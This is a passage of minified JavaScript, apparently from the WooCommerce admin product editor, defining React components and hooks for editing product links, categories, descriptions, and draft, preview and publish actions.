l.tabProps?l.tabProps(t):l.tabProps;n.push({...e,order:null!==(a=l.order)&&void 0!==a?a:20})}return{childrenMap:r,tabs:n}}),{childrenMap:{},tabs:[]}),n=o.tabs.sort(((e,t)=>e.order-t.order));return r(n,o.childrenMap)}))};const b=window.wp.data,w=window.wp.i18n,E=window.wp.url,v=window.wc.data,y="woocommerce_ces_product_mvp_ces_action",k="woocommerce_new_product_management_enabled",C="__ADD_NEW_SHIPPING_CLASS_OPTION__",S="tab/general",T=`${S}/details`,N=window.wc.tracks,x=e=>{let{product:t,permalinkPrefix:o,permalinkSuffix:r,onCancel:n,onSaved:l,saveHandler:i}=e;const{createNotice:s}=(0,b.useDispatch)("core/notices"),[m,u]=(0,a.useState)(!1),[d,p]=(0,a.useState)(t.slug||(0,E.cleanForSlug)(t.name)),_=o+(0,E.cleanForSlug)(d)+r;return(0,a.createElement)(c.Modal,{title:(0,w.__)("Edit product link","woocommerce"),onRequestClose:()=>n(),className:"woocommerce-product-link-edit-modal"},(0,a.createElement)("div",{className:"woocommerce-product-link-edit-modal__wrapper"},(0,a.createElement)("p",{className:"woocommerce-product-link-edit-modal__description"},(0,w.__)("Create a unique link for this product. Use simple, descriptive words and numbers. We'll replace spaces with hyphens (-).","woocommerce")),(0,a.createElement)(c.TextControl,{label:(0,w.__)("Product link","woocommerce"),name:"slug",value:d,onChange:p,hideLabelFromVision:!0,help:(0,a.createInterpolateElement)((0,w.__)("Preview: <link />","woocommerce"),{link:(0,a.createElement)("strong",null,_)})}),(0,a.createElement)("div",{className:"woocommerce-product-link-edit-modal__buttons"},(0,a.createElement)(c.Button,{isSecondary:!0,onClick:()=>n()},(0,w.__)("Cancel","woocommerce")),(0,a.createElement)(c.Button,{isPrimary:!0,isBusy:m,disabled:m||d===t.slug,onClick:async()=>{u(!0),await(async()=>{var e;(0,N.recordEvent)("product_update_slug",{new_product_page:!0,product_id:t.id,product_type:t.type});const{slug:o,permalink:r}=null!==(e=await i(d))&&void 0!==e?e:{};o?s(o===(0,E.cleanForSlug)(d)?"success":"info",o===(0,E.cleanForSlug)(d)?(0,w.__)("Product link successfully updated.","woocommerce"):(0,w.__)("Product link already existed, updated to ","woocommerce")+r):s("error",(0,w.__)("Failed to update product link.","woocommerce")),l()})(),u(!1)}},(0,w.__)("Save","woocommerce")))))},P=window.wc.number,I=window.wc.currency,A=e=>{var t;return window.wcAdminFeatures["product-variation-management"]&&(null===(t=e.attributes)||void 0===t?void 0:t.find((e=>e.options.length&&e.variation)))?"variable":"simple"},O="AUTO-DRAFT";function R(e){return v.productReadOnlyProperties.forEach((t=>delete e[t])),e}function M(e,t){return"publish"===e&&t?[{label:(0,w.__)("View in store","woocommerce"),onClick:()=>{(0,N.recordEvent)("product_preview_changes",{new_product_page:!0}),window.open(t,"_blank")}}]:[]}function L(){const{createProduct:e,updateProduct:t,deleteProduct:o}=(0,b.useDispatch)(v.PRODUCTS_STORE_NAME),{batchUpdateProductVariations:r,invalidateResolutionForStoreSelector:n}=(0,b.useDispatch)(v.EXPERIMENTAL_PRODUCT_VARIATIONS_STORE_NAME),{createNotice:l}=(0,b.useDispatch)("core/notices"),[i,c]=(0,a.useState)(!1),[s,m]=(0,a.useState)({draft:!1,publish:!1}),u=(0,a.useContext)(I.CurrencyContext),d=(0,a.useCallback)((async function(t,o){let r=arguments.length>2&&void 0!==arguments[2]&&arguments[2];return m({...s,[o]:!0}),e({...t,status:o,type:A(t)}).then((e=>{if(!r){const t="publish"===e.status?(0,w.__)("Product published.","woocommerce"):(0,w.__)("Product successfully created.","woocommerce");l("success",`๐ŸŽ‰โ€Ž ${t}`,{actions:M(e.status,e.permalink)})}return m({...s,[o]:!1}),e}),(e=>(r||l("error","publish"===o?(0,w.__)("Failed to publish product.","woocommerce"):(0,w.__)("Failed to create product.","woocommerce")),m({...s,[o]:!1}),e)))}),[s]);async function p(e,t){if(t)return r({product_id:e},{update:Object.values(t).flatMap(Object.entries).map((e=>{let[t,o]=e;return{id:t,menu_order:o}}))})}const _=(0,a.useCallback)((async function(e,o,r){let a=arguments.length>3&&void 0!==arguments[3]&&arguments[3];return m({...s,[r]:!0}),t(e,{...o,status:r,type:A(o)}).then((async e=>p(e.id,o.variationsOrder).then((()=>n("getProductVariations"))).then((()=>e)))).then((e=>{if(!a){const t="draft"===o.status&&"publish"===e.status?(0,w.__)("Product published.","woocommerce"):(0,w.__)("Product successfully updated.","woocommerce");l("success",`๐ŸŽ‰โ€Ž ${t}`,{actions:M(e.status,e.permalink)})}return m({...s,[r]:!1}),e}),(e=>(a||l("error",(0,w.__)("Failed to update product.","woocommerce")),m({...s,[r]:!1}),e)))}),[s]),f=(0,a.useCallback)((async function(e){let t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:"draft";return d(R({...e,name:(e.name||O)+" - Copy"}),t)}),[]),h=(0,a.useCallback)((async e=>(c(!0),o(e).then((e=>{const t=(0,w.__)("Successfully moved product to Trash.","woocommerce");return l("success",`๐ŸŽ‰โ€Ž ${t}`),c(!1),e}),(e=>(l("error",(0,w.__)("Failed to move product to Trash.","woocommerce")),c(!1),e))))),[]),g=(0,a.useCallback)((e=>{const{getCurrencyConfig:t}=u,{decimalSeparator:o}=t(),r=new RegExp("[^-\\d\\%s]+".replace("%s",o),"g"),n=new RegExp("[%s](?=%s*[%s])".replaceAll("%s",o),"g");return e.replace(r,"").replace(n,"").replace(o,".")}),[u]),E=(0,a.useCallback)((e=>{const{getCurrencyConfig:t}=u,{decimalSeparator:o,thousandSeparator:r}=t();return P.numberFormat({decimalSeparator:o,thousandSeparator:r},e)}),[u]),y=(0,a.useCallback)((e=>{const{getCurrencyConfig:t}=u,{decimalSeparator:o,thousandSeparator:r}=t();return P.parseNumber({decimalSeparator:o,thousandSeparator:r},e)}),[u]);return{createProductWithStatus:d,updateProductWithStatus:_,copyProductWithStatus:f,deleteProductAndRedirect:h,sanitizePrice:g,formatNumber:E,parseNumber:y,isUpdatingDraft:s.draft,isUpdatingPublished:s.publish,isDeleting:i}}const F=e=>{let{}=e;const{updateProductWithStatus:t}=L(),[o,r]=(0,a.useState)(!1),{getInputProps:n,values:i,touched:s,errors:m,setValue:u,resetForm:d}=(0,l.useFormContext)(),{permalinkPrefix:p,permalinkSuffix:_}=(0,b.useSelect)((e=>{const{getPermalinkParts:t}=e(v.PRODUCTS_STORE_NAME);if(i.id){const e=t(i.id);return{permalinkPrefix:null==e?void 0:e.prefix,permalinkSuffix:null==e?void 0:e.suffix}}return{}}));return(0,a.createElement)("div",null,(0,a.createElement)(c.TextControl,{label:(0,a.createInterpolateElement)((0,w.__)("Name <required />","woocommerce"),{required:(0,a.createElement)("span",{className:"woocommerce-product-form__optional-input"},(0,w.__)("(required)","woocommerce"))}),name:"product-details-name",placeholder:(0,w.__)("e.g. 12 oz Coffee Mug","woocommerce"),...n("name",{onBlur:()=>{var e;!i.sku&&(null===(e=i.name)||void 0===e?void 0:e.length)&&u("sku",(0,E.cleanForSlug)(i.name))}})}),i.id&&!(Boolean(s.name)&&Boolean(m.name))&&p&&(0,a.createElement)("span",{className:"woocommerce-product-form__secondary-text product-details-section__product-link"},(0,w.__)("Product link","woocommerce"),":ย ",(0,a.createElement)("a",{href:i.permalink,target:"_blank",rel:"noreferrer"},p,i.slug||(0,E.cleanForSlug)(i.name),_),(0,a.createElement)(c.Button,{variant:"link",onClick:()=>r(!0)},(0,w.__)("Edit","woocommerce"))),o&&(0,a.createElement)(x,{permalinkPrefix:p||"",permalinkSuffix:_||"",product:i,onCancel:()=>r(!1),onSaved:()=>r(!1),saveHandler:async e=>{const o=await t(i.id,{slug:e},i.status,!0);if(o&&o.id)return d({...i,slug:o.slug,permalink:o.permalink},s,m),{slug:o.slug,permalink:o.permalink}}}))};function B(e){return{onChange:t=>{(0,N.recordEvent)(`product_checkbox_${e}`,{checked:t})}}}const D=()=>{const{getCheckboxControlProps:e}=(0,l.useFormContext)();return(0,a.createElement)(c.CheckboxControl,{label:(0,a.createElement)(a.Fragment,null,(0,w.__)("Feature this product","woocommerce"),(0,a.createElement)(l.__experimentalTooltip,{text:(0,a.createInterpolateElement)((0,w.__)("Include this product in a featured section on your website with a widget or shortcode. <moreLink />","woocommerce"),{moreLink:(0,a.createElement)(l.Link,{href:"https://woocommerce.com/document/woocommerce-shortcodes/#products",target:"_blank",type:"external",onClick:()=>(0,N.recordEvent)("add_product_learn_more",{category:"product-details"})},(0,w.__)("Learn more","woocommerce"))})})),...e("featured",B("featured"))})},V=window.lodash,z={};function H(e,t){e[t.parentID]&&(e[t.parentID].isOpen=!0,0!==e[t.parentID].parentID&&H(e,e[t.parentID]))}const U=e=>e.sort(((e,t)=>e.data.count===t.data.count?e.data.name.localeCompare(t.data.name):t.data.count-e.data.count));function $(){let e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:[],t=arguments.length>1?arguments[1]:void 0;for(const o of t)e.push(o.data),o.children.length>0&&(o.children=U(o.children),$(e,o.children));return e}async function j(e,t){const o={},r=[];for(const t of e)o[t.id]={data:t,children:[],parentID:t.parent,isOpen:!1};if(Object.keys(o).forEach((e=>{const n=o[parseInt(e,10)];if(0!==n.parentID)if(!o[n.parentID]&&z[n.parentID]&&(o[n.parentID]={data:z[n.parentID],children:[],parentID:z[n.parentID].parent,isOpen:!1}),o[n.parentID]){o[n.parentID].children.push(n),z[n.parentID]=o[n.parentID].data;const e=new RegExp((0,V.escapeRegExp)(t),"i");t.length>0&&e.test(n.data.name)&&H(o,n)}else r.push(n.parentID)})),r.length>0)return(0,b.resolveSelect)(v.EXPERIMENTAL_PRODUCT_CATEGORIES_STORE_NAME).getProductCategories({include:r}).then((o=>j([...o,...e],t)));const n=U(Object.values(o).filter((e=>0===e.parentID))),a=$([],n);return Promise.resolve([a,n,o])}const W={per_page:100},G=()=>{const e=(0,a.useRef)(""),{initialCategories:t,totalCount:o}=(0,b.useSelect)((e=>{const{getProductCategories:t,getProductCategoriesTotalCount:o}=e(v.EXPERIMENTAL_PRODUCT_CATEGORIES_STORE_NAME);return{initialCategories:t(W),totalCount:o(W)}})),[r,n]=(0,a.useState)(!0),[l,i]=(0,a.useState)([[],[],{}]),c=!t||t.length>0&&o>100;(0,a.useEffect)((()=>{t&&t.length>0&&(0===l[0].length||0===e.current.length)&&(n(!0),j([...t],"").then((e=>{i(e),n(!1)}),(()=>{n(!1)})))}),[t]);const s=(0,a.useCallback)((async o=>{if(e.current=o||"",!c&&t.length>0)return j([...t],o||"").then((e=>(i(e),e[1])));n(!0);try{const e=await(0,b.resolveSelect)(v.EXPERIMENTAL_PRODUCT_CATEGORIES_STORE_NAME).getProductCategories({search:o,per_page:100}),t=await j(e,o||"");return n(!1),i(t),t[1]}catch(e){return n(!1),[]}}),[t]),m=l[2];return{searchCategories:s,getFilteredItemsForSelectTree:(0,a.useCallback)(((e,t,o)=>{const r=new RegExp((0,V.escapeRegExp)(t),"i");return e.filter((e=>o.indexOf(e)<0&&(r.test(e.label)||m[+e.value]&&m[+e.value].isOpen)))}),[l]),categoriesSelectList:l[0],categories:l[1],isSearching:r,categoryTreeKeyValues:m}},q=window.wp.compose,J=e=>{let{initialCategoryName:t,onCancel:o,onCreate:r}=e;const{categoriesSelectList:n,isSearching:i,searchCategories:s,getFilteredItemsForSelectTree:m}=G(),{createNotice:u}=(0,b.useDispatch)("core/notices"),[d,p]=(0,a.useState)(!1),{createProductCategory:_,invalidateResolutionForStoreSelector:f}=(0,b.useDispatch)(v.EXPERIMENTAL_PRODUCT_CATEGORIES_STORE_NAME),[h,g]=(0,a.useState)(t||""),[E,y]=(0,a.useState)(null),[k,C]=(0,a.useState)(""),S=(0,q.useDebounce)(s,250);return(0,a.createElement)(c.Modal,{title:(0,w.__)("Create category","woocommerce"),onRequestClose:()=>o(),className:"woocommerce-create-new-category-modal"},(0,a.createElement)("div",{className:"woocommerce-create-new-category-modal__wrapper"},(0,a.createElement)(c.TextControl,{label:(0,w.__)("Name","woocommerce"),name:"Tops",value:h,onChange:g}),(0,a.createElement)(l.__experimentalSelectTreeControl,{label:(0,a.createInterpolateElement)((0,w.__)("Parent category <optional/>","woocommerce"),{optional:(0,a.createElement)("span",{className:"woocommerce-product-form__optional-input"},(0,w.__)("(optional)","woocommerce"))}),id:"parent-category-field",isLoading:i,items:m(Z(n),k,[]),shouldNotRecursivelySelect:!0,selected:E?Y(E):void 0,onSelect:e=>e&&y({id:+e.value,name:e.label,parent:e.parent?+e.parent:0}),onRemove:()=>y(null),onInputChange:e=>{S(e),C(e||"")},createValue:k}),(0,a.createElement)("div",{className:"woocommerce-create-new-category-modal__buttons"},(0,a.createElement)(c.Button,{isSecondary:!0,onClick:()=>o(),disabled:d},(0,w.__)("Cancel","woocommerce")),(0,a.createElement)(c.Button,{isPrimary:!0,disabled:0===h.length||d,isBusy:d,onClick:()=>{(async()=>{(0,N.recordEvent)("product_category_add",{new_product_page:!0}),p(!0);try{const e=await _({name:h,parent:E?E.id:void 0});f("getProductCategories"),p(!1),r(e)}catch(e){u("error",(0,w.__)("Failed to create category.","woocommerce")),p(!1),o()}})()}},(0,w.__)("Save","woocommerce")))))};function K(){let e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:[],t=arguments.length>1?arguments[1]:void 0,o=arguments.length>2?arguments[2]:void 0;e.push({id:t.id,name:t.name,parent:t.parent});const r=void 0!==t.parent?t.parent:o[t.id].parentID;return r>0&&o[r]&&!e.find((e=>e.id===r))&&K(e,o[r].data,o),e}function Y(e){return e.parent?{value:String(e.id),label:e.name,parent:String(e.parent)}:{value:String(e.id),label:e.name}}function X(e){return{id:+e.value,name:e.label,parent:e.parent?+e.parent:0}}function Z(e){return e.map(Y)}const Q=e=>{let{label:t,placeholder:o,value:r=[],onChange:n}=e;const{isSearching:i,categoriesSelectList:c,categoryTreeKeyValues:s,searchCategories:m,getFilteredItemsForSelectTree:u}=G(),[d,p]=(0,a.useState)(!1),[_,f]=(0,a.useState)(""),h=e=>{f(e||""),m(e||"")},g=(0,a.useMemo)((()=>(0,V.debounce)(h,150)),[h]);return(0,a.createElement)(a.Fragment,null,(0,a.createElement)(l.__experimentalSelectTreeControl,{id:"category-field",multiple:!0,shouldNotRecursivelySelect:!0,createValue:_,label:t,isLoading:i,onInputChange:g,placeholder:0===r.length?o:"",onCreateNew:()=>{p(!0)},shouldShowCreateButton:e=>!e||-1===c.findIndex((t=>t.name===e)),items:u(Z(c),_,Z(r)),selected:Z(r),onSelect:e=>{if(Array.isArray(e)){const t=e.filter((e=>{let{value:t}=e;return!r.some((e=>e.id===+t))})).map(X);n([...r,...t])}},onRemove:e=>{const t=Array.isArray(e)?r.filter((t=>!e.some((e=>{let{value:o}=e;return t.id===+o})))):r.filter((t=>t.id!==+e.value));n(t)}}),d&&(0,a.createElement)(J,{initialCategoryName:_,onCancel:()=>p(!1),onCreate:e=>{n(K([...r],e,s)),p(!1),h("")}}))},ee=()=>{const{getInputProps:e}=(0,l.useFormContext)();return(0,a.createElement)(Q,{label:(0,w.__)("Categories","woocommerce"),placeholder:(0,w.__)("Search or create categoryโ€ฆ","woocommerce"),...e("categories")})},te=window.wp.blocks,oe=()=>{const{setValue:e,values:t}=(0,l.useFormContext)(),[o,r]=(0,a.useState)((0,te.parse)(t.short_description||""));return(0,a.createElement)(l.__experimentalRichTextEditor,{label:(0,w.__)("Summary","woocommerce"),blocks:o,onChange:t=>{r(t),o.length&&e("short_description",(0,te.serialize)(t))},placeholder:(0,w.__)("Summarize this product in 1-2 short sentences. We'll show it at the top of the page.","woocommerce")})},re=()=>{const{setValue:e,values:t}=(0,l.useFormContext)(),[o,r]=(0,a.useState)((0,te.parse)(t.description||""));return(0,a.createElement)(l.__experimentalRichTextEditor,{label:(0,w.__)("Description","woocommerce"),blocks:o,onChange:t=>{r(t),o.length&&e("description",(0,te.serialize)(t))},placeholder:(0,w.__)("Describe this product. What makes it unique? What are its most important features?","woocommerce")})},{Fill:ne,Slot:ae}=(0,c.createSlotFill)("WooProductMoreMenuItem");ne.Slot=e=>{let{fillProps:t}=e;return(0,a.createElement)(ae,{fillProps:t},(e=>(0,V.isEmpty)(e)?null:(0,a.createElement)(a.Fragment,null,e)))};const le=ne,ie=window.wp.plugins,ce=window.wc.adminLayout,se=window.wp.coreData,me=window.wp.keyboardShortcuts,ue=e=>{let{isActive:t}=e;return(0,a.useEffect)((()=>{let e=!1;return document.body.classList.contains("sticky-menu")&&(e=!0,document.body.classList.remove("sticky-menu")),()=>{e&&document.body.classList.add("sticky-menu")}}),[]),(0,a.useEffect)((()=>(t?document.body.classList.add("is-fullscreen-mode"):document.body.classList.remove("is-fullscreen-mode"),()=>{t&&document.body.classList.remove("is-fullscreen-mode")})),[t]),null};function de(){return de=Object.assign?Object.assign.bind():function(e){for(var t=1;t<arguments.length;t++){var o=arguments[t];for(var r in o)Object.prototype.hasOwnProperty.call(o,r)&&(e[r]=o[r])}return e},de.apply(this,arguments)}var pe=o(83849),_e=o.n(pe);const fe=(0,a.forwardRef)((function(e,t){let{footer:o,header:r,sidebar:n,secondarySidebar:l,notices:i,content:s,drawer:m,actions:u,labels:d,className:p,shortcuts:_}=e;const f=(0,c.__unstableUseNavigateRegions)(_);!function(e){(0,a.useEffect)((()=>{const t=document&&document.querySelector(`html:not(.${e})`);if(t)return t.classList.toggle(e),()=>{t.classList.toggle(e)}}),[e])}("interface-interface-skeleton__html-container");const h={drawer:(0,w.__)("Drawer"),header:(0,w.__)("Header"),body:(0,w.__)("Content"),secondarySidebar:(0,w.__)("Block Library"),sidebar:(0,w.__)("Settings"),actions:(0,w.__)("Publish"),footer:(0,w.__)("Footer"),...d};return(0,a.createElement)("div",de({},f,{ref:(0,q.useMergeRefs)([t,f.ref]),className:_e()(p,"interface-interface-skeleton",f.className,!!o&&"has-footer")}),!!m&&(0,a.createElement)("div",{className:"interface-interface-skeleton__drawer",role:"region","aria-label":h.drawer,tabIndex:"-1"},m),(0,a.createElement)("div",{className:"interface-interface-skeleton__editor"},!!r&&(0,a.createElement)("div",{className:"interface-interface-skeleton__header",role:"region","aria-label":h.header,tabIndex:"-1"},r),(0,a.createElement)("div",{className:"interface-interface-skeleton__body"},!!l&&(0,a.createElement)("div",{className:"interface-interface-skeleton__secondary-sidebar",role:"region","aria-label":h.secondarySidebar,tabIndex:"-1"},l),!!i&&(0,a.createElement)("div",{className:"interface-interface-skeleton__notices"},i),(0,a.createElement)("div",{className:"interface-interface-skeleton__content",role:"region","aria-label":h.body,tabIndex:"-1"},s),!!n&&(0,a.createElement)("div",{className:"interface-interface-skeleton__sidebar",role:"region","aria-label":h.sidebar,tabIndex:"-1"},n),!!u&&(0,a.createElement)("div",{className:"interface-interface-skeleton__actions",role:"region","aria-label":h.actions,tabIndex:"-1"},u))),!!o&&(0,a.createElement)("div",{className:"interface-interface-skeleton__footer",role:"region","aria-label":h.footer,tabIndex:"-1"},o))})),he=window.wp.primitives,ge=(0,a.createElement)(he.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24"},(0,a.createElement)(he.Path,{d:"M13 19h-2v-2h2v2zm0-6h-2v-2h2v2zm0-6h-2V5h2v2z"}));function be(e){let{as:t=c.DropdownMenu,className:o,label:r=(0,w.__)("Options"),popoverProps:n,toggleProps:l,children:i}=e;return(0,a.createElement)(t,{className:_e()("interface-more-menu-dropdown",o),icon:ge,label:r,popoverProps:{position:"bottom left",...n,className:_e()("interface-more-menu-dropdown__content",null==n?void 0:n.className)},toggleProps:{tooltipPosition:"bottom",...l}},(e=>i(e)))}const we=window.wp.deprecated;var Ee=o.n(we);const ve=window.wp.preferences,ye=(e,t)=>o=>{let{registry:r}=o;t&&r.dispatch(ve.store).set(e,"complementaryArea",t)},ke=e=>t=>{let{registry:o}=t;o.dispatch(ve.store).set(e,"complementaryArea",null)},Ce=(e,t)=>o=>{let{registry:r}=o;if(!t)return;const n=r.select(ve.store).get(e,"pinnedItems");!0!==(null==n?void 0:n[t])&&r.dispatch(ve.store).set(e,"pinnedItems",{...n,[t]:!0})},Se=(e,t)=>o=>{let{registry:r}=o;if(!t)return;const n=r.select(ve.store).get(e,"pinnedItems");r.dispatch(ve.store).set(e,"pinnedItems",{...n,[t]:!1})};function Te(e,t){return function(o){let{registry:r}=o;Ee()("dispatch( 'core/interface' ).toggleFeature",{since:"6.0",alternative:"dispatch( 'core/preferences' ).toggle"}),r.dispatch(ve.store).toggle(e,t)}}function Ne(e,t,o){return function(r){let{registry:n}=r;Ee()("dispatch( 'core/interface' ).setFeatureValue",{since:"6.0",alternative:"dispatch( 'core/preferences' ).set"}),n.dispatch(ve.store).set(e,t,!!o)}}function xe(e,t){return function(o){let{registry:r}=o;Ee()("dispatch( 'core/interface' ).setFeatureDefaults",{since:"6.0",alternative:"dispatch( 'core/preferences' ).setDefaults"}),r.dispatch(ve.store).setDefaults(e,t)}}const Pe=(0,b.createRegistrySelector)((e=>(t,o)=>e(ve.store).get(o,"complementaryArea"))),Ie=(0,b.createRegistrySelector)((e=>(t,o,r)=>{var n;const a=e(ve.store).get(o,"pinnedItems");return null===(n=null==a?void 0:a[r])||void 0===n||n})),Ae=(0,b.createRegistrySelector)((e=>(t,o,r)=>(Ee()("select( 'core/interface' ).isFeatureActive( scope, featureName )",{since:"6.0",alternative:"select( 'core/preferences' ).get( scope, featureName )"}),!!e(ve.store).get(o,r)))),Oe=(0,b.createReduxStore)("core/interface",{reducer:()=>{},actions:e,selectors:t});(0,b.register)(Oe);const Re=(e,t)=>Boolean(e)&&e!==t?e:t===O?(0,w.__)("Add new product","woocommerce"):t,Me=()=>(0,a.createElement)(a.Fragment,null,(0,a.createElement)(be,{popoverProps:{className:"woocommerce-product-header__more-menu"}},(e=>{let{onClose:t}=e;return(0,a.createElement)(a.Fragment,null,(0,a.createElement)(le.Slot,{fillProps:{onClose:t}}))}))),Le=window.wc.navigation;function Fe(e){return"product_invalid_sku"===e.code?(0,w.__)("Invalid or duplicated SKU.","woocommerce"):null}const Be=(0,a.createContext)({errors:{},registerValidator:()=>()=>{},validateField:()=>Promise.resolve(void 0),validateAll:()=>Promise.resolve({})});function De(){const e=(0,a.useContext)(Be),[t,o]=(0,a.useState)(!1);return{isValidating:t,validate:async()=>(o(!0),new Promise(((t,o)=>{e.validateAll().then((e=>{!function(e){return Object.values(e).some(Boolean)}(e)?t():o(e)})).catch((()=>{o(e.errors)}))})).finally((()=>{o(!1)})))}}function Ve(e){let{...t}=e;const[o]=(0,se.useEntityProp)("postType","product","status"),{createErrorNotice:r}=(0,b.useDispatch)("core/notices"),n=function(e){let{disabled:t,onClick:o,onSaveSuccess:r,onSaveError:n,...l}=e;const i=(0,a.useRef)(),[c]=(0,se.useEntityProp)("postType","product","id"),[s]=(0,se.useEntityProp)("postType","product","status"),[m]=(0,se.useEntityProp)("postType","product","permalink"),{hasEdits:u,isDisabled:d}=(0,b.useSelect)((e=>{const{hasEditsForEntityRecord:t,isSavingEntityRecord:o}=e("core");return{isDisabled:o("postType","product",c),hasEdits:t("postType","product",c)}}),[c]),{isValidating:p,validate:_}=De(),f=t||d||p,{editEntityRecord:h,saveEditedEntityRecord:g}=(0,b.useDispatch)("core");let E;return"string"==typeof m&&(E=new URL(m),E.searchParams.append("preview","true")),{"aria-label":(0,w.__)("Preview in new tab","woocommerce"),children:(0,w.__)("Preview","woocommerce"),target:"_blank",...l,ref(e){"function"==typeof l.ref&&l.ref(e),i.current=e},"aria-disabled":f,href:null==E?void 0:E.toString(),variant:"tertiary",onClick:async function(e){var t;if(f)return e.preventDefault();if(o&&o(e),u){e.preventDefault();try{await _(),"auto-draft"===s&&await h("postType","product",c,{status:"draft"});const e=await g("postType","product",c,{throwOnError:!0});null===(t=i.current)||void 0===t||t.click(),r&&r(e)}catch(e){n&&n(e)}}}}}({...t,onSaveSuccess(e){if("auto-draft"===o){const t=(0,Le.getNewPath)({},`/product/${e.id}`);(0,Le.navigateTo)({url:t})}},onSaveError(e){const t=Fe(e);r(t||(0,w.__)("Failed to preview product.","woocommerce"))}});return(0,a.createElement)(c.Button,{...n})}function ze(e,t){const{downloadable:o,id:r,manage_stock:n,type:a,virtual:l}=t;(0,N.recordEvent)(e,{new_product_page:!0,product_id:r,product_type:a,is_downloadable:o,is_virtual:l,manage_stock:n})}const He=(0,a.createElement)(he.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24"},(0,a.createElement)(he.Path,{d:"M16.7 7.1l-6.3 8.5-3.3-2.5-.9 1.2 4.5 3.4L17.9 8z"}));function Ue(e){const[t]=(0,se.useEntityProp)("postType","product","status"),{createSuccessNotice:o,createErrorNotice:r}=(0,b.useDispatch)("core/notices"),n=function(e){let{disabled:t,onClick:o,onSaveSuccess:r,onSaveError:n,...l}=e;const[i]=(0,se.useEntityProp)("postType","product","id"),[s]=(0,se.useEntityProp)("postType","product","status"),{hasEdits:m,isDisabled:u}=(0,b.useSelect)((e=>{const{hasEditsForEntityRecord:t,isSavingEntityRecord:o}=e("core");return{isDisabled:o("postType","product",i),hasEdits:t("postType","product",i)}}),[i]),{isValidating:d,validate:p}=De(),_=t||u||"publish"!==s&&!m||d,{editEntityRecord:f,saveEditedEntityRecord:h}=(0,b.useDispatch)("core");let g;return g="publish"===s?(0,w.__)("Switch to draft","woocommerce"):m?(0,w.__)("Save draft","woocommerce"):(0,a.createElement)(a.Fragment,null,(0,a.createElement)(c.Icon,{icon:He}),(0,w.__)("Saved","woocommerce")),{children:g,...l,"aria-disabled":_,variant:"tertiary",onClick:async function(e){if(_)return e.preventDefault();o&&o(e);try{await p(),await f("postType","product",i,{status:"draft"});const e=await h("postType","product",i,{throwOnError:!0});r&&r(e)}catch(e){n&&n(e)}}}}({...e,onSaveSuccess(e){if(ze("product_edit",e),o((0,w.__)("Product saved as draft.","woocommerce")),"auto-draft"===t){const t=(0,Le.getNewPath)({},`/product/${e.id}`);(0,Le.navigateTo)({url:t})}},onSaveError(e){const t=Fe(e);r(t||(0,w.__)("Failed to update product.","woocommerce"))}});return(0,a.createElement)(c.Button,{...n})}function $e(e){const[t]=(0,se.useEntityProp)("postType","product","status"),o="auto-draft"===t,{createSuccessNotice:r,createErrorNotice:n}=(0,b.useDispatch)("core/notices"),l=function(e){let{disabled:t,onClick:o,onPublishSuccess:r,onPublishError:n,...a}=e;const[l]=(0,se.useEntityProp)("postType","product","id"),[i]=(0,se.useEntityProp)("postType","product","status"),{isValidating:c,validate:s}=De(),{isSaving:m}=(0,b.useSelect)((e=>{const{isSavingEntityRecord:t}=e("core");return{isSaving:t("postType","product",l)}}),[l]),u=m||c,d="auto-draft"===i,{editEntityRecord:p,saveEditedEntityRecord:_}=(0,b.useDispatch)("core");return{children:d?(0,w.__)("Add","woocommerce"):(0,w.__)("Save","woocommerce"),...a,isBusy:u,variant:"primary",onClick:async function(e){o&&o(e);try{await s(),"publish"!==i&&await p("postType","product",l,{status:"publish"});const e=await _("postType","product",l,{throwOnError:!0});e&&r&&r(e)}catch(e){n&&n(e)}}}}({...e,onPublishSuccess(e){ze("product_update",e);const n=o?(0,w.__)("Product successfully created.","woocommerce"):(0,w.__)("Product published.","woocommerce"),a={icon:"๐ŸŽ‰",actions:[{label:(0,w.__)("View in store","woocommerce"),url:e.permalink,onClick(t){t.preventDefault(),window.open(e.permalink,"_blank")}}]};if(r(n,a),"auto-draft"===t){const t=(0,Le.getNewPath)({},`/product/${e.id}`);(0,Le.navigateTo)({url:t})}},onPublishError(e){const t=o?(0,w.__)("Failed to create product.","woocommerce"):(0,w.__)("Failed to publish product.","woocommerce"),r=Fe(e);n(r||t)}});return(0,a.createElement)(c.Button,{...l})}const je="woocommerce_product_tabs";function We(e){let{onChange:t=(()=>{})}=e;const[o,r]=(0,a.useState)(null),n=(0,Le.getQuery)();return(0,a.useEffect)((()=>{t(o)}),[o]),(0,a.useEffect)((()=>{n.tab&&r(n.tab)}),[n.tab]),(0,a.createElement)(c.NavigableMenu,{role:"tablist",onNavigate:function(e,t){t.click()},className:"woocommerce-product-tabs",orientation:"horizontal"},(0,a.createElement)(c.Slot,{fillProps:{onClick:e=>(0,Le.navigateTo)({url:(0,Le.getNewPath)({tab:e})})},name:je},(e=>d?(function(e){var t,n;if(!o)for(let o=0;o<e.length;o++){if(e[o][0].props.disabled)continue;const a=(null===(n=null===(t=e[o][0].props)||void 0===t?void 0:t.children)||void 0===n?void 0:n.key)||null;return void r(a)}}(e),d(e)):null)))}function Ge(e){let{onTabSelect:t,productName:o}=e;const[r]=(0,se.useEntityProp)("postType","product","name");return(0,a.createElement)("div",{className:"woocommerce-product-header",role:"region","aria-label":(0,w.__)("Product Editor top bar.","woocommerce"),tabIndex:-1},(0,a.createElement)("div",{className:"woocommerce-product-header__inner"},(0,a.createElement)("div",null),(0,a.createElement)("h1",{className:"woocommerce-product-header__title"},Re(r,o)),(0,a.createElement)("div",{className:"woocommerce-product-header__actions"},(0,a.createElement)(Ue,null),(0,a.createElement)(Ve,null),(0,a.createElement)($e,null),(0,a.createElement)(ce.WooHeaderItem.Slot,{name:"product"}),(0,a.createElement)(Me,null))),(0,a.createElement)(We,{onChange:t}))}const qe=window.wp.mediaUtils,Je=window.wp.blockEditor;function Ke(e){let{context:t,settings:o,product:r}=e;const n=(0,b.useSelect)((e=>{const{canUser:t}=e("core");return!1!==t("create","media","")}),[]),l=(0,a.useMemo)((()=>n?{...o,mediaUpload(e){let{onError:t,...r}=e;(0,qe.uploadMedia)({wpAllowedMimeTypes:(null==o?void 0:o.allowedMimeTypes)||void 0,onError:e=>{let{message:o}=e;return 